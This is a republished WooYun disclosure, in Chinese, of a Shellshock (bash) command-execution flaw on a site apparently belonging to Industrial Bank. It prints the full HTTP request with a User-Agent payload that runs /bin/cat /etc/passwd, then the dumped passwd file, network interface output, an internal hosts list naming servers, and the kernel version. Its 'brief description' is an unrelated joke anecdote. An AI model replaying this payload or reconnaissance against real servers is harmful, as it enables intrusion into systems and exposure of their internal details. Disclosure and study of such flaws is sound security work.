神器而已之兴业银行某站bash破壳命令执行漏洞

admin
admin
admin
139544
文章
114
评论
2017年4月14日17:00:08评论468 views字数 233阅读0分46秒阅读模式
摘要

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

漏洞概要 关注数(15) 关注此漏洞

缺陷编号： WooYun-2016-191500

漏洞标题： 神器而已之兴业银行某站bash破壳命令执行漏洞

相关厂商： 兴业银行

漏洞作者： 路人甲

提交时间： 2016-04-01 21:00

公开时间： 2016-05-20 16:00

漏洞类型： 命令执行

危害等级： 高

自评Rank： 18

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 命令执行 bash

1人收藏

漏洞详情

披露状态：

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

简要描述：

记得刚上初一的时候，我爸爸第一次说要来接我，因为从小学一直是妈妈接送。放学后我等了一个小时还没看到人，然后我就自己走路回了，回到家后，爸爸就拿衣架打我，还说我为什么逃课，在××小学等我半个多小时了还没等到，我哭着说：“爸，我上初一啦”

详细说明：

code 区域 
bash破壳漏洞
 
 GET /cgi-bin/test-cgi HTTP/1.1
 Host: **.**.**.**:26063
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Upgrade-Insecure-Requests: 1
 User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; /bin/cat /etc/passwd;
 Accept-Encoding: gzip, deflate, sdch
 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
 Cookie: Hm_lvt_9311ae0af3818e9231e72458be9cdbce=1459494482; Hm_lpvt_9311ae0af3818e9231e72458be9cdbce=1459504395
 
 
 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/sbin/nologin
 daemon:x:2:2:daemon:/sbin:/sbin/nologin
 adm:x:3:4:adm:/var/adm:/sbin/nologin
 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 sync:x:5:0:sync:/sbin:/bin/sync
 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 halt:x:7:0:halt:/sbin:/sbin/halt
 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
 operator:x:11:0:operator:/root:/sbin/nologin
 games:x:12:100:games:/usr/games:/sbin/nologin
 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
 nobody:x:99:99:Nobody:/:/sbin/nologin
 dbus:x:81:81:System message bus:/:/sbin/nologin
 usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
 rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
 rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
 avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
 abrt:x:173:173::/etc/abrt:/sbin/nologin
 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
 nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
 gdm:x:42:42::/var/lib/gdm:/sbin/nologin
 ntp:x:38:38::/etc/ntp:/sbin/nologin
 saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
 postfix:x:89:89::/var/spool/postfix:/sbin/nologin
 mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
 pulse:x:497:493:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
 xguest:x:500:500:Guest:/home/xguest:/bin/bash
 sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
 tcpdump:x:72:72::/:/sbin/nologin
 oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
 cib:x:501:501:cib:/home/cib:/bin/bash
 weblogic:x:502:502::/weblogic:/bin/bash
 booking:x:503:503::/home/booking:/bin/bash
 apache:x:504:504::/home/apache:/bin/bash
 tomcat:x:505:505::/home/tomcat:/bin/bash
 ftpuser:x:506:506::/home/ftpuser:/bin/bash

神器而已之兴业银行某站bash破壳命令执行漏洞

code 区域 
ifconfig
 
 eth1      Link encap:Ethernet  HWaddr 00:50:56:AA:0E:68  
           inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
           inet6 addr: fe80::250:56ff:feaa:e68/64 Scope:Link
           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
           RX packets:18258051 errors:0 dropped:0 overruns:0 frame:0
           TX packets:4591124 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000 
           RX bytes:3491006812 (3.2 GiB)  TX bytes:5373379859 (5.0 GiB)
 
 lo        Link encap:Local Loopback  
           inet addr:**.**.**.**  Mask:**.**.**.**
           inet6 addr: ::1/128 Scope:Host
           UP LOOPBACK RUNNING  MTU:16436  Metric:1
           RX packets:295743 errors:0 dropped:0 overruns:0 frame:0
           TX packets:295743 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:0 
           RX bytes:1088978658 (1.0 GiB)  TX bytes:1088978658 (1.0 GiB)
code 区域 
hosts
 
 **.**.**.**   localhost localhost.localdomain localhost4 localhost4.localdomain4
 ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
 
 **.**.**.** DOU-PORTAL-SVR1
 **.**.**.** DOU-PORTAL-SVR2
 **.**.**.** DOU-DB-SVR1
  
 **.**.**.** VECP-APACHE-SVR1
 **.**.**.** VECP-APACHE-SVR2
 **.**.**.** VECP-OA-SVR1
 **.**.**.** VECP-OA-SVR2
 **.**.**.** VECP-PORTAL-SVR1
 **.**.**.** VECP-PORTAL-SVR2
 **.**.**.** VECP-DB-SVR1
 
 
 **.**.**.**    WLS-APP-SVR1
 **.**.**.**    WLS-APP-SVR2
code 区域 
/proc/version
 
 Linux version 2.6.32-431.el6.x86_64 (mockbuild@**.**.**.**) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Sun Nov 10 22:19:54 EST 2013

漏洞证明：

修复方案：

升级下吧

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-05 15:52

厂商回复：

CNVD未复现所述情况,已经转由CNCERT直接通报给对应银行集团公司,并抄报福建分中心协助处置,由其后续协调网站管理部门处置.

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-05 16:29 | Ms4dam0n ( 路人 | 还没有发布任何漏洞 | 一个会说段子的演员)

    1

    简要描述部分，真是 6666666

  2. 2016-05-20 16:23 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

    0

    真的是神器啊

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin